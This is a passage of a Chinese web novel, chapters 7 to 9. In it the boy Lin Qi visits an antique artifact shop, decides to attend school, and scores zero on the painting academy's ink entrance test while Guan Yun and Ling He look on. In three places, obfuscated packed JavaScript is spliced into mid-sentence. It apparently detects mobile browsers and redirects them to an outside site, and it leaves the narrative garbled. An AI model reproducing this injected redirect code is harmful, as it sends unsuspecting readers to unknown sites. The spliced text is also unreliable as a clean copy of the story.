提到林家,观沄看向那只香炉。 这是一件古董造物,配合咒纸使用,可以防止谈话内容外泄,上代人喜欢用它进行学术保密。他小时候见过几次,不过当时用的纸签都是白色,也不带这种恶俗香味。 一时两人都没说话,片刻,凌壑道:“十年了,你确定他还在吗?” 观沄抬眸,语气透着坚不可摧的笃定,“当然。” “怎么个当然法?” “以你的脑容量,我很难跟你解释清楚。” 凌壑不在意地一笑,“那就聊点适合我这脑容量的。学城干净,对林家人只有好处没有坏处,你干嘛要拦着?总不会是觉得养孩子很好玩儿吧?十几岁的小朋友可不是浇水就能活的,想想你养死的那些仙人掌和绿萝。” 观沄凉冰冰地扫他一眼。 凌壑抱着手臂,晃了晃脚,“反正今天如果不说清楚,我就赖在你家不走,看着办吧。” 片刻,观沄道:“林栖只有十 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观沄:“你觉得这和咒术有关?” 在他听说林栖是个杀不死的怪物时,已经猜到这可能是某种咒术。 有些大家族会在孩子身上施用保护咒,确保他们平安长到成年,但林家历来并不热衷咒术,他也没在这个方向深究。 凌壑道:“保护咒有两个方向,一类是防护,一类是修复,防护当然很好,不疼不痒,但有时效,用在孩子身上,得有长辈或咒师长期跟着。 修复类就简单得多,但也有个毛病,只要是修,就需要材料,那么材料从哪里来?不是从别人身上,就是从自己身上。你把草割了,草根还在,还能再长,但重长一茬,总要比别的草矮半截吧?” 观沄忽然想起福利院的记录。 林栖是从火灾现场捡回来的孩子,如果当时身边没有长辈护着,又在火里受了重伤,那么在经历修复损耗之后,外表年龄和实际年龄确实会出现一些偏差。 当时福利院根据经验判断他只有三岁,其实一开始就错了。 凌壑抱着胳膊晃了晃腿,“我就说吧,白塔不会出错,要错也是你们弄错,林栖就是十二岁。” 不对。 其实不止。 不然林栖也不会刚过来就被白塔标记。 白塔的筛选规则是“年满十二”,而不是“刚好十二”。 按照语义逻辑,即使二十岁也算年满十二。 这并不算规则漏洞,因为正常情况下,年满十二就是刚好十二,不过林栖是个例外。 他是从外面来的。 凌壑抬起胳膊,朝观沄肩膀一搭,“那就没问题了,你带孩子准备考试,领养手续我来解决。” 观沄偏头躲开,“不用了,还有两年,不急。” “嗯?什么意思?” “意思是,本来就没打算送他上学。”观沄抱起手臂,像是一只护窝的龙,“不管实际年龄多大,既然林栖觉得自己只有十岁,那他就是十岁,现在上学还太早了。” 凌壑牙疼似地咂了咂嘴,“那我刚刚跟你说的这一堆算什么?” “算你不请自来。” 观沄把林栖带到这边,本来就不是为了送他去上学的。 上学需要住校,只有周末可以回家一天,且每次往返都要重新检查侵蚀状况,大部分学生为了保证安全,都会尽可能地留在学校,只在学期末的时候回家。 林栖身份特殊,且刚到这边,对一切都不了解,如果让他自己一个人去上学,面对完全陌生的环境和同学,那他大概又要像以前在福利院那样,每天小心翼翼地隐藏自己。 这不是观沄想看到的。 他希望林栖能像其他孩子一样,活得轻松自在。 7. 第 7 章 林栖顶着两颗不对称的红脸蛋回到房间,对着镜子洗干净,又盯着手上的白塔标记看了很久。 然后,他想,他还是去上学吧。 不过不能直接说,得先找个理由。 第二天林栖起得很早。 观沄准备早餐时,他搬着一架木梯,在屋里“探险”,先探客厅里的大书柜,再探房间里的书橱、书架…… 他随身带了一个小本子,记录每个柜子里的书籍数量。早饭过后,又当着观沄的面,搬着梯子进了书房。 木梯撑开“人”字形,脚踏又厚又稳,林栖刚要往上爬,就听一道人声冷不丁从背后冒了出来—— “你喜欢看书啊?” 林栖动作僵了一下,回头就见凌壑一手支着门框,笑嘻嘻地看他。 他心道是的,我们文盲最喜欢看书了,同时乖巧地点了下头。 凌壑靠近过来,朝他本子指指,“做记录呢?” 林栖“嗯”了一声。 “记了多少本了?”凌壑似乎对这个无聊的话题很有兴趣。 林栖做记录不是给凌壑看的,但没关系。 “客厅六百五十五本,左边那间屋两百二十三本,右边一百八十本,这间还没数,可能有几千本。” 凌壑笑得灿烂,“数了这么多呢,那你知道学城里有多少书吗?” 林栖看着他,眼中透出掩饰不住的期待和好奇。 凌壑很能聊,林栖只用时不时表现出一点兴趣,他就能顺着他的心思往下扯,讲完书籍又讲造物,顺便口头做了一篇文学巨著,描绘主城区的绝美风光…… 直到观沄出现,他才刹住话头,长腿一抬,跳窗跑了。 林栖继续清点书目,花了一天时间,给自己搭起一个热爱书籍的人设。 他计划循序渐进,等到了明天,就说想去逛学城里的书店,逛完之后,再提出想看造物。 这样铺垫几天之后,他就可以告诉观沄他想去上学了。 毕竟他听凌壑说了学城很多好话,知道白塔既有藏书也有造物,那么他作为一个喜好书籍和造物的小孩,想去白塔看看也算很合理吧? 他计划得很好,但到了第二天,观沄却先一步问:“想不想去造物店里看看?” 这和计划好的顺序不太一样,林栖犹豫着问:“造物店?” “就是名字很奇怪的那家。”观沄笑着提醒,“之前还说要拉黑你。” 记忆场景一瞬变得鲜活,隔着几天时间,林栖仿佛又对上了那双深红色的眼睛。 他迟疑着问:“……什么时候?” “不如就现在吧?”观沄笑着起身。 其实他能感觉到,林栖似乎不是很想出门,但那家造物店只有今天能去。 “邀请”非常难拿,而且过期作废。 他之前就对那家店有所耳闻,见林栖对它感兴趣,又特意打听过,店主是修复师,店里收藏有一些古董造物,但收藏区不对普通客人开放,想要进店参观,唯一的方式就是拿到“邀请”。 ——先预约,再由店主决定是否给出邀请,入选规则成迷……总之,他试了,没成功。 现在手上这张“邀请”还是凌壑给的,不知这人用了什么法子,只半天时间,就从别人手里弄了一张过来。 这种事情,凌壑总是比他擅长。 拿人手软,只能暂且忍受这人在他眼前晃荡。 观沄只打算带着林栖一个,但刚出门,凌壑就不请自来,笑嘻嘻地跟着一起去了。 来到老街,远远就见一辆奢华轿车停在造物店外,一男一女打扮精致得体,站在车前大声质问。 上次那个头顶长角的男孩儿朝两人说了几句什么,转身拿起扫帚赶人。 青砖路面明明很干净,扫帚却脏得好像刚从灶台底下掏出来的,一扬就是一层土渣,劈头盖脸的,隔着十米都能看见一层白烟儿。 观沄停步,抬手揽了一下林栖肩膀,等那两人离开,店前尘埃落定,才领着他走过去,礼貌递上邀请。 长角的男孩儿朝他们扫了一眼,“哦”的一声接过信封,进屋关门,然后就没动静了。 三人就这么晾在门口。 凌壑抬手,半真半假地在门上推了一下,感叹道:“怪不得都说这家店主脾气不好,果然名不虚传。” 林栖轻轻捏着手指上的创可贴,朝他看了过去。 凌壑摸了摸下巴,“店这么老,店主肯定也不年轻……大概是到更年期了。” 林栖:“?” 片刻,那个头上长角的男孩儿开了店门,侧身咕哝:“进来吧,别到处乱走。” 门内是一间小厅,黑木货柜横在当中,玻璃展区空无一物,后方支着宽大厚重的屏风,侧面隐约可见一扇窄门。 店里有一股沁凉的木质香,夹杂着少许野花和干草的味道。 男孩儿在几人身后关了店门,恹恹道:“我叫独角仙,是打杂的,有事叫我,不过最好别叫。” 这时,悬挂在屏风上方的铁皮风铃轻响一声,传出一道冷质少年嗓音:“一张邀请,你把三个人都放进来了?” 林栖仰头看向那只风铃,默默打量。 自称独角仙的男孩儿抱起手臂,扭着脖子争辩:“反正我说什么也没用,你自己看吧,爱留哪个留哪个,剩下的直接骂走不就行了。” 听到“骂走”时,凌壑勾了勾唇角,朝风铃道:“小朋友,你家长呢?没在吗?” 独角仙震惊地看着他,一脸你在说什么鬼话的表情。 空气明显一静。 那道少年嗓音再次响起:“不好意思,我更年期,脾气不好,你们最好不要跟我开玩笑。” 凌壑一挑眉,似乎想再说点什么,但被观沄一个眼神给按住了。 观沄礼貌开口:“打扰了,我们听说店里收藏有很多难得一见的古董造物,特意慕名前来参观。” 铁皮风铃在穿堂而过的微风里轻轻转了半圈,少年嗓音似乎也被拖拽出一线悠长,“没长嘴的那个进来,剩下两位劳驾请滚。” 好一个劳驾请滚。 凌壑当场笑出声来,眼神朝观沄一挑,意思是:你那么客气不是一样得滚? 观沄没搭理他。 林栖茫然片刻才后知后觉,他就是“没长嘴”的那个。 观沄略微俯身,温声朝他道:“自己一个人进去行吗?” 林栖认真点了点头,一双眼睛闪着亮晶晶的期待。 观沄见他确实想去,只能按下担心,“那我就在外面等你,如果不想看了随时出来。” 待两人出门之后,独角仙把林栖领进那扇小门,又上了半层楼,从壁柜上拿出一只巴掌大的铁皮大白鹅,拧了发条放在地上。 大白鹅发出“嘎”的一声,抖抖尾巴,扭着步子朝前走。 独角仙指着鹅说:“你就跟着它走,转完一圈也就差不多了。” 林栖照做,跟着鹅走没难度,但鹅掌太小,扭动五步的距离刚够林栖迈一小步。 在大白鹅的带领下,他像个刚学步的婴儿,缓慢地经过转角,缓慢地穿过走廊……缓慢地走进一扇门,沿对角线穿过门厅…… 门厅连着收藏区,几米之外,厚重的木质展柜整齐排开,透过玻璃,可以看见摆在近处的木雕小鸟和铁皮金鱼…… 画风很像老式的手工玩具。 林栖跟着大白鹅,走不快,下意识地向前倾身去看,这时忽然听到右手边传来极轻的一点响动,像是刚削好的硬质铅笔第一次划过纸面时的摩擦声。 林栖转头,视线穿过走廊,看到了一扇半敞的门。 门外的简洁和门内的繁复形成鲜明对比,那扇门就像是打开了一本画册,露出里面的古典插图—— 纯黑的柜子占满了整面墙,正面布满药格似的抽屉,每一只抽屉正面都嵌着一张名片大小的黑白照片。 柜子前方是一张宽大的工作台,台面两端放满工具箱和工具架,整齐而拥挤,空出中间一米宽的位置。 一只细脚伶仃的金属台灯支在桌面中心,冷白灯光仅够照亮工作区域。 光线中心支着一个褪了色的木雕雪人,一只极好看的手悬在侧旁,腕骨以下隐没在灯光外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他低垂眼睫,默默按下情绪,不太走心地道了个歉,“不好意思,走错路了……” “所以眼神也不好,看不见那么大的一只鸭子?” 林栖心道你才眼神不好,这明明是鹅。 他朝少年看了一眼,又快速收回视线,径直走向收藏区。 铁皮大鹅先是愣了一下,随即使劲迈步跟上,一对鹅掌倒腾太快,发出了“吱嘎吱嘎”的铁皮摩擦声。 展厅不算小,给每只造物都安排了相对独立的展示空间,玻璃门上挂着介绍牌,上面写有文字说明,包括造物年份和造物师的个人信息。 林栖刚进门就发现,这些牌子都是古语写的,对他这个现代文盲十分友好。 展厅按年份排序,靠近门口的造物最新,那些上百年的古董造物则在后面几排。 这里布局很像图书馆,柜子四周留有步道,林栖直接跳过前面几排展柜,走向最后一排。 他脚步刚一停下,视线还来不及转向柜子,就在步道尽头撞上一道暗红色的视线。 “你又走错路了?”冷淡的少年嗓音从斜上方悠悠落下。 林栖发现,对方居然比他高了一头。 两侧空间狭窄,林栖隐隐有种一步踏进陷阱里的错觉,想往后退,却因为被对方盯着而挪不动步。 他将视线默默移向一旁。 不管你看不看我,反正我不看你就行了。 视野中,距离他最近的介绍牌上写着造物师的名字,也姓林,但不是林叙。 少年屈起食指,在展柜边角叩了叩,“你就算把它盯出个洞,该看不懂还是看不懂。” 林栖在心里反驳,你怎么知道我看不懂?而且明知道别人看不懂,为什么还要用古语写介绍? 他在心里磨着爪子,表面却安安静静,只把目光又垂得低了一些,样子很软很乖,让人想刻薄都无处着力。 片刻,少年有些不耐烦道:“说吧,想找谁的造物?刚好不忙,顺便帮你看看。” 林栖想着,早点看完就能早点走,于是道:“林叙的,有吗?” 空气明显一静,接着就听对方笑了一声,以一种很奇怪的语气反问:“你觉得呢?” 8. 第 8 章 这句话之后,林栖就被赶出来了。 下楼时,他试着反省自己到底哪里惹着那个修复师了,想到的第一点是,对方问他好看吗,他点头了。 虽然确实很好看,而且是整体和细节都好看的那种好看,一眼看不完,让人忍不住就想多看几眼。 但对方明显不是在问他问题,而是在表达态度。 意思是:看什么看? 另外,那只铁皮大鹅嘎嘎叫的时候也可能是在告状,声讨他走得太快或是鞋子口感不好…… 林栖默默想了很多,然后发现自己想多了。 凌壑说,其实那张“邀请”不能转让使用,他们一开始就没有参观资格。 那个“更年期小孩儿”之所以放他进门,其实是在故意遛着人玩儿。 听到这话,观沄看了凌壑一眼,脸上写着:不能转让你不早说? 凌壑挑眉一笑,脸上分明是:早说你还怎么欠我人情? 林栖头顶缓缓冒出问号。 “更年期小孩儿”是什么神奇物种? 这次参观不算顺利,但对林栖来说已经够用了,回去之后,他又问了一堆有关造物店的问题,默默在心里准备说辞。 到了晚上,观沄依然执着地要用小奶锅给他热一杯睡前牛奶,他也已经有经验了,全程在旁边盯着,防止火太大了牛奶又扑出来。 热好之后,观沄用勺子试了试温度,把牛奶倒进带着两只小把手的陶瓷杯子给他。他捧着喝了一会儿,开口时,声音浸润着清甜温热的奶香。 “院长……” “嗯?今天的牛奶是不是有点淡?我看奶皮没有昨天的厚。” “不淡,好喝。”林栖垂着眼睫,声音像小锅里的奶泡那样咕嘟着,“院长,我有点想去上学……” 在林栖的字典里,“还好”就是不好,“有点”就是很多。 观沄手里捏着纸巾,正准备给他擦掉嘴唇上的奶胡子,闻言微微一怔,“怎么突然想去上学?” 林栖低头看着杯子,拇指在陶瓷把手上轻轻搓着,“如果有人问年龄,我就说我十二岁了,个子矮可以穿增高鞋。” 年龄问题观沄已经弄明白了,但还没告诉林栖。 他希望林栖可以暂时远离这些麻烦,像其他孩子一样安心生活,不用那么懂事,任性一点,可以撒娇,可以犯傻,可以叛逆。 看到林栖瘦瘦小小一只站在自己面前,他其实想抱抱他,或是摸摸头,但福利院有个不成文的规定:不抱孩子。在那种环境下长大的孩子对身体接触有一种异于常人的敏感,而林栖很早就主动把自己孤立起来,只会更加敏感。 片刻,观沄问:“是有人跟你说了什么吗?” 林栖静了静,抬起眼睫,眼底透出细小的期待,仿佛平静湖面倒映着点点星光。 “我听说,白塔书馆收藏了几万本书,不只有最稀有的古书,还有外面绝对见不到的禁书……还有那些造物,你跟我说过,大部分都在白塔,如果我去上学,就能经常去看。” 关于书的部分,自然是听凌壑说的。 观沄看着他,片刻,轻轻呼了口气,俯身道:“但是,到了学校,如果有同学针对你呢?” 作为林家人,林栖很容易被人身份歧视。 林栖手指轻轻摸着杯子,“那我也针对他们,我很擅长不搭理人。” 观沄又问:“如果同学发现你跟别人不一样,所以故意欺负你呢?” 他的意思是,如果有人发现林栖受伤之后会立刻恢复,可能会故意让他受伤。这也许是一种排斥异类的本能,也可能只是单纯觉得好玩,孩子的恶意往往比成人更甚。 林栖从杯子旁边翘起一根食指,露出那枚伪装用的蓝色创可贴,“那就不让他们发现,我很擅长伪装。” 观沄仿佛看到一只橘红色的小狐狸,在他面前努力张大嘴巴、伸出爪子,向他展示尖尖的牙齿和锋利的指甲。 他直觉林栖在试图隐藏什么,监护人的责任感和成年人的掌控欲都让他想刨根究底,拆穿小狐狸的伪装。 但是…… 他从林栖身上收回视线,对自己默念:边界感,分寸感……一个合格的家长要让孩子保有自己的小秘密。 要让小狐狸藏好他的狐狸尾巴。 片刻,他笑着叹了口气,目光温和地抚过林栖发顶,“既然你想上学,那就去吧,不过要先答应我一件事。” 林栖立刻点头,“好。” “我还没说是什么呢。”观沄伸手摸了摸林栖手里的杯子,确认牛奶是否已经冷了,“你现在已经有家长了,要答应我,如果被人欺负了,要第一时间回家告状。” 林栖喉中低低“嗯”了一声。 他身上有白塔印记,任何一只报喜鸟都能凭着印记找到他,而找到他就等于找到了观沄。 观沄会被迫见到很多不想见的人。 所以他不能这样待在观沄身边。 他不想变成一个累赘。 上学的事情定下,三天后,林栖拿到了他的身份证明。 凌壑搞来的身份证明有两个版本,一个是领养,一个是寄养。 “领养”和他所知的差不多,“寄养”则有些特别。寄养文件分为两个部分,一是“寄养家庭”,二是“原生家庭”。 在原生家庭的文件后面,还附带着“亲生父母”的个人信息,包括照片、身份文件、申请陈述以及亲笔签名。 在这里,一些父母为了孩子能够干干净净长大,甚至会主动把他们送给别人去养,而法律也允许这种情况。 为了让假的变成真的,凌壑不知从哪儿给林栖弄来了一对父母和两个有侵蚀的姐姐。 假父母甚至给林栖写了几封信,老泪纵横地祝他考试顺利。 观沄让林栖自己选择领养还是寄养。 林栖选了寄养,理由很复杂,但也很简单,领养需要改姓,但他不太想改。 被捡到福利院时,他唯一记得的事,就是自己姓林。 凌壑几乎包揽了所有入学琐事,林栖什么都不用管,只需要等着参加考试。 学城路远,考试当天林栖起得很早。 外城区、下城区、中城区、上城区、主城区——每跨一个城区,都要通过一道检查,越往后,检查就越繁琐复杂。 主城区的身份核查动辄长达十几分钟,但今天是考试的日子,林栖又有白塔标记,被检察人员安排走了特殊通道,提前放行。 安检通道路边站着一个小女孩儿,头上戴着亮闪闪的水晶小皇冠,怀里抱着精致的生日礼盒,在看到林栖通过时,朝他投来了很羡慕的目光,仿佛他是童话故事里的小王子,结束了短暂的旅行,即将回到属于他的城堡。 类似这样的目光很多,一路上,林栖被看得有些不自在,长睫低低垂着,看着指节上的创可贴,安静跟在观沄身边。 考试当天,其他家长都穿得十分隆重,观沄却还是白T恤、浅牛仔、帆布鞋。 身上带着令人安心的松墨香。 考生一进校门就有工作人员接应。他们穿着白色制服,佩戴金色徽章,负责介绍学校历史以及学院情况。 天际云絮漫卷,白鸟成群,阳光从羽隙间洒落下来,映衬着白塔顶端澄明纯澈的十字星辉。 那是比阳光更耀眼的星光。 凌壑没吹牛,学城确实很美,像一个降临在现实中的童话世界,但值得看的景色太多,反而让人无所适从。 林栖不像其他学生那样兴奋雀跃,像是有点中暑,胸口闷闷的,有些恍惚。 工作人员在旁边解说考试规则,按照传统,入学考试分院系进行,每个院系自主挑选学生,挑选标准和考核方式以各院系考官公布的规则为准。 原则上,校方不干涉各院系挑选学生。 负责林栖的工作人员像是提前知道一样,直接把二人领到画院门口。 几个穿着学生制服的孩子等在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16451547|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路边,将他们带往考试地点。 林栖像是没睡好的时候被迫早起,从进到学校开始,精神有些不太集中,视线总是一不小心就落到墙边的阴影里,或是对着砖缝里的苔藓发怔。 画院的露天考场选在两座教学楼中间,两侧的环形走廊上挤满了人,大部分都是学生,分着不同年级,身形高矮胖瘦,眼睛却齐刷刷地看着同个位置。 观沄走到哪儿,好奇的目光就追随到哪儿,瞻仰完这位传说中的天才院长,又打量他带来的那个学生。 观院长有个十二岁的孩子——这件事已经在院里议论好些天了。 一开始,大家的关注重点还在观沄本人身上,后来听说这是寄养来的孩子,议论中心就自然而然地转到了男孩儿身上。 没人清楚男孩儿来历,但所有人都认定,他肯定是个天才。 争论点仅限于,这位小天才和观沄这个大天才相比,到底能不能青出于蓝? 毕竟观院长可不是一般的“蓝”。 能超越他的孩子,只一般的“青”是不够的,至少也要青到饱和度的顶点,青得过曝,青得半夜放光。 如果在画院听到有人议论“青青学弟”或是“夜光学弟”,那么不用怀疑,指得都是林栖。 学城对“寄养”一事有着与世俗不一样的认知。 在学城师生看来,这不是简单帮人照顾孩子而已,更类似于传统的学徒制。 如果一名学院教师肯接收寄养,往往是因为发现了极有天赋的孩子,愿意把他/她带在身边提前栽培。 画院早几年就出过这样的例子,那孩子入学仅仅两年,就超过了收养他的老师。 这位“夜光学弟”能被观沄看中,天赋肯定非同凡响,搞不好第一年就要超越现任院长——就像当年的观沄一样。 “嘘……” “开始了开始了。” 围观的学生们主动静音,盯紧考试场地,在看清主考官手里的道具时,他们几乎同时在心里“咦”了一声。 居然把这件老古董请出来了? 主考官手中托着一支造型古朴而粗重的画笔,从外形上看,它像是一杆直接用树枝磨出来的铅笔。 旁边桌上平放着一张画板,主考官拿起那支画笔,随手在画板上画了个圆。 笔尖墨色落下,稍待片刻,一条细细的墨线就浮空而起,线条晕开,顺着看不见的弧面延展成一枚立体的圆,并于几秒钟内变成一颗五彩斑斓的气泡,落入考官掌心。 “这是画院最传统的一种入学考试——源墨测试。考试内容很简单,只需要像我这样,用这支笔,在纸上画一个圆。” 主考官说话时,身形站得笔直,后背线条像用尺子卡着画出来的,显得态度极其端正,声调却略显高昂,透着一丝不寻常的亢奋。 和一般考试不同,源墨可以测出一个人的天赋上限。 周围传出一阵议论,画院很吃天赋,这不是秘密,但因为“天赋论”和“努力论”的争议,画院这些年来很少用源墨进行考试,更愿意把挑选天赋这件事做得隐晦一些,给那些只会努力的孩子留下一点希望。 今年忽然回归传统,显然是不是因为情怀,而是为了某个传说中的天才。 主考官用一种很直白但又不说破的方式,告知学生挑选规则,“在你们画完之后,墨线会变成不同形态,可能是光圈、烟圈,也可能是水柱、木柱、泡泡、铁球……我们会根据物体形态、材质、完成度和特殊性进行综合评分,并在最后统一公布结果。” 他在列举时没有明确区分等级,但所有画院学生都听得出来,排名分先后,从天赋来看,光圈烟圈是初级,泡泡铁球是中级。 考官继续道:“不过,如果你们中的哪位可以画出洋葱、苹果或是其他什么更有趣的东西——” 他微笑着,目光扫过一众考生,在林栖身上顿住,“那么根据学院给我的主考官权限,我将记下他的名字,并予以当场录取。” 9. 第 9 章 主考官解说完毕,顿了顿,又打趣道:“当然了,孵出一只鸟也可以。” 在场除了林栖,所有人都听得出来,这是在暗指观沄当年参加源墨测试时的情况。 不论哪个院系,“生命属性”总是代表最高天赋。 “孵个鸟有什么意思?” 凌壑的声音忽然从后面冒了出来。 林栖一转头,就见他站在观沄旁边,悠闲地捋了一下发尾。 这人好像总能莫名其妙地冒出来。 见他回头,凌壑朝他招了招手,又指指观沄,“你知道他当年孵了个什么出来吗?” 凌壑幽幽叹了口气,“我们这一代的孩子,都是听着天才的故事,被打击着长大的。一直到咱们这位天才院长辞职跑了,家里长辈才觉得,太天才了也不是什么好事,还不如养个笨蛋,至少听话。” 画院学生发出一阵嘘声。林栖好奇,院长当年到底孵了什么。 “一条龙。”凌壑笑道,“不过你要是也孵条龙就没意思了。我的建议是孵个蚯蚓,更有创意,而且是一目了然的父子传承。” 主考官严肃地咳了一声,打断凌壑胡扯,宣布考试开始。 不知道是故意还是巧合,林栖的测试被安排在最后一个。 那些和他差不多大的孩子一一向前测试,画板上方浮起光圈或是烟圈,考官每次都会鼓励一句“很好”,但看那些孩子脸上的表情,他们自己一点也不觉得好。 连续几个光圈之后,有个孩子画出了泡泡,考官还是那句“很好”,但语气明显带着欣慰,赞许地朝她点了点头。 直到有人画出一颗桃子,考官才真正的面露喜色,周围也响起一阵掌声。 不过掌声并没持续多久,因为下一个就是林栖,他们中的很多人就是冲着林栖来的。 在准备的片刻间,林栖已经感觉到了满场的视线与关注。 无形的压力像一张不透气的薄膜,从四面八方包裹上来。 他垂着睫毛,下意识地缩起肩膀,试图让自己目标变小。 主考官微笑着将画笔交到他手里,他因为紧张,拿笔时碰到了笔尖,在手指上蹭了点墨。 不过他没注意到这点细节,径直走到画板前方,一秒都没多等,落笔就画。 白纸上多了一个线条利落的圆。 周围短暂地嘈杂一瞬,接着陷入屏息凝神的沉寂。 那根墨线轻轻浮空而起,变成了……一根墨线。 一根墨线? 是的,它没发生任何变化。不论颜色还是笔迹,都和纸面上都一模一样。 它仅仅是浮了起来。 没人见过这种情况。 “那是一根线吗?” “是吧……” “还没变吗?” “反正我没看见。” 几声议论之后,周围安静下来,所有视线集中在一个点上,众人都在等着墨线突然变异,仿佛那一圈平平无奇的黑色线条是什么时空缺口,随时都能从中撕开一道奇迹。 然而计时器在桌上滴答作响,十秒钟过去,墨线还是墨线。 半分钟过去,没有任何奇迹发生。 周围一片死寂,连呼吸声都没了。 主考官也没说话,只是看着那根墨线,脑袋从左边歪到右边,又从右边歪到左边,反复观察,反复确认,反复沉默。 沼泽般的凝滞中,凌壑的声音像气泡一样冒了出来:“我不是你们画院的,可能不是很懂,这种情况该怎么解释?” 他是朝着观沄说的。 主考官反应过来,也求助地看向观沄,观沄没说什么,只是走过去,将林栖领回身边。 凌壑随手薅来一个学生,“要不你来说说,这该怎么解释?” “嗯……”学生斟酌道,“我也没听说过这种情况,但这个测试考得就是变化,如果不变,那应该就是……没天赋吧?然后这个测试其实没有具体分数,主要看综合情况,非要说的话,天赋高的,比如桃子那种,就算两三百分吧?烟圈能算五六十分……” 他看向林栖,挠挠下巴,“现在墨线完全没变,那就只能算零分吧?还是挺神奇的,我以前觉得最差就是烟圈了,都不知道能考零分。” 其实在这个学生说到一半时,带他的老师就已经在疯狂朝他使眼色了,奈何小孩儿不懂人情世故,大实话说出来莫名觉得很爽,就忍不住越说越多。 谁不想看天才考零分呢? 现场气氛变得有些诡异。 凌壑看向观沄,笑着问:“你怎么养了一个笨蛋?” 众人脸色复杂,气氛顿时更诡异了。 主考官激灵一下回神,忙打圆场,“这种情况前所未有,可能是测试笔出了问题,我提议重考一次,嗯,对,再试一次。” 其实他很清楚,笔杆是画傀,墨芯是造物,没那么容易出问题。 但这是观院长亲自带来的孩子,就算再没天赋,也不至于这么没天赋吧……? 哪怕退一万步,小孩儿真的不行,顾着观院长的面子也得再试一次。 林栖看向观沄,观沄脸上带着担心,若有所思地问:“还想再试试么?” 林栖点了点头。 其实他不太想。 主考官开始准备二次测试,给林栖换了一支画笔。 其实只是换了壳子,里子还跟之前一样,不是不想换,是换不了。 墨芯是“源墨”,也算一件古董造物,是他们画院辈分最高的一块墨,如果换掉它,所谓测试也就不存在了。 林栖又画了一次,这次很慢,很仔细。 落笔时,他头垂得很低,能看出画笔并不是想象中的铅笔,笔尖质地是很细腻的膏状,在纸面画出线条时,会散出醇厚的松墨清香。 和观沄身上的味道很像,但更古朴。 林栖这次画得认真,圆圈比上次规整很多。 但结果还是一样。 细细一根墨线浮在画板上方,像是把在场所有人头上的那颗问号剪碎了,硬是拼凑成圆。 主考官脑子发木,眼睛也木,看看它,又看看林栖,实在无话可说。 凌壑手肘朝观沄碰了碰,“没天赋到这种程度,从某种意义上说,也算是百年不遇的人才了。” 观沄没说话。 凌壑继续道:“就好像比赛吃饭,人家都是往嘴里塞,他是往外面吐。” 立时就听“啪”的一声,一张红纸膏药拍到了凌壑嘴上。 他闷哼一声,刚要用手去撕,手腕就被不知从哪来的绳子一绕,紧紧捆住。 凌壑在膏药下方扯了扯嘴角,求饶地看向观沄,观沄并不理他,只是轻轻揽着林栖肩膀,向外走去。 之前负责领路的工作人员等在外面,观沄让他不用跟着,自己带着林栖走出一段,见后面没人跟来,才逐渐放慢步子。 眼前是树荫下的一段僻静小路,林栖左右看看,缓缓舒了口气。 观沄在一旁看他,“怎么没考上还好像挺开心的?” 林栖“唔”了一声,因为观沄的关系,他确实想进画院,但好像也没那么想…… 如果真考上了,他可能每天都要被人这么盯着。 只是想想就有点不想活了。 林栖低头,把手指上浅蓝色的创可贴捏了捏,咕哝道:“做画师太难了,我想学点简单的。” 观沄笑问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16456927|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不上学不是更简单么?” 林栖抬起视线,眨了眨眼,“院长,你怎么能这样教育小孩儿?” 两人随意走着,暖色的石板路在脚下转了个弯,眼前忽然现出一片树丛。 学城是一片丘陵地,主城区地势最高,现在温度接近春末夏初,几乎比外城慢了一个季节。 在这里,一些属于晚春的树木才刚把新叶长好。 眼前这些树已经有年纪了,尤其是最前面的两棵,主干带伤,愈合处已经覆满苔藓。 树上挂了说明牌,左边那棵名叫“金隐”,新叶是极明媚的金色,绣着亮橘色的边线,老叶逐渐过渡到大片澄澈的金绿色,十分惹眼。 右边那棵名叫“月升”,嫩叶茜红,老叶橙绿,颜色一层层向下过渡,像用极细腻的水彩笔触染出来的。 树丛后方,是一栋画风很沧桑的建筑,石缝里的野树苗已经长到了拇指粗。 林栖走着走着就停了脚步,仰头看向这两棵树。 “好看吗?”凌壑的声音忽然冒了出来,“这两棵枫树是造院最值钱的家当,每次缺经费,老僵尸就威胁要把它们拔了卖钱。” 林栖在心里反驳,这是槭树不是枫树,他以前看过图册。 这时就听树丛后方传来“呵呵”一声,有人从树后阴影中踱步走了出来。 这人身材宽瘦单薄,脸色白得结霜,像是炸了墓地,新从坟包里爬出来的尸体,仿佛这辈子都没睡过觉,黑眼圈浓得用笔蘸蘸就能写字。 这副形貌,远看七十多,近看五十多,真到了眼前细看,才发现其实也不过三十左右……单看眼睛还更年轻,眸光又锋又利,透着一股傲气。 他直直盯着凌壑,吐出冰块儿似的声音,“我看是谁在我这儿放屁?” 凌壑笑着回应,“每年的招生季,就是许院长的更年期。” 这位许院长名叫许慎行,面无表情地掀了一下眼皮,墓气沉沉道:“既然是更年期,无缘无故揍你一顿也很合理吧?” 他话音未落,身后阴影中就缓缓立起一副龙骨。 龙骨拖着一对骨翼,潜身穿过树丛,直起身时,足有三四米高,空洞的眼窝一转,盯向凌壑,张嘴露出一排尖牙,似乎立刻就要吃人。 这时许慎行略一抬手,“等等。” 